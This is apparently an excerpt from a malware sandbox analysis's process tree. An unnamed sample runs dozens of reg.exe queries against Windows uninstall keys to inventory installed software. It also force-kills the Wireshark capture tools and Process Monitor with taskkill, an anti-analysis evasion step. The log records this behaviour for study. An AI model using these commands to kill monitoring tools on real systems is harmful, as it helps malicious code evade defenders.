C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:323⤵PID:1876
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2660
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:643⤵PID:2632
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:323⤵PID:2696
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2736
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:643⤵PID:2616
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Adobe AIR" /reg:323⤵PID:2752
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2780
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:643⤵PID:2816
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:323⤵PID:2792
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2932
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:643⤵PID:2936
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}" /reg:323⤵PID:3004
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2084
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:643⤵PID:392
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:323⤵PID:1276
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F2⤵
- Kills process with taskkill
PID:2064
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1840
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:643⤵PID:1512
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:323⤵PID:1612
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1772
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:643⤵PID:1988
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:323⤵PID:2144
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2220
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:643⤵PID:1472
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:323⤵PID:1884
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2300
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:643⤵PID:2340
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:323⤵PID:1820
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2264
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:643⤵PID:1784
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:323⤵PID:2160
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2392
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:643⤵PID:2352
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:323⤵PID:2268
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2500
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:643⤵PID:2508
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364" /reg:323⤵PID:2396
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2492
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:643⤵PID:1400
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}" /reg:323⤵PID:2824
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2440
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:643⤵PID:2808
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}" /reg:323⤵PID:2612
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2544
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:643⤵PID:1600
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:323⤵PID:1496
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:1808
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:643⤵PID:1852
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:323⤵PID:2580
-
-
-
C:\Windows\system32\cmd.execmd.exe2⤵PID:2548
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:643⤵PID:2608
-
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:323⤵PID:1428
-
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F2⤵
- Kills process with taskkill
PID:2276
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F2⤵
- Kills process with taskkill
PID:2124
-
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F2⤵
- Kills process with taskkill
PID:2484
-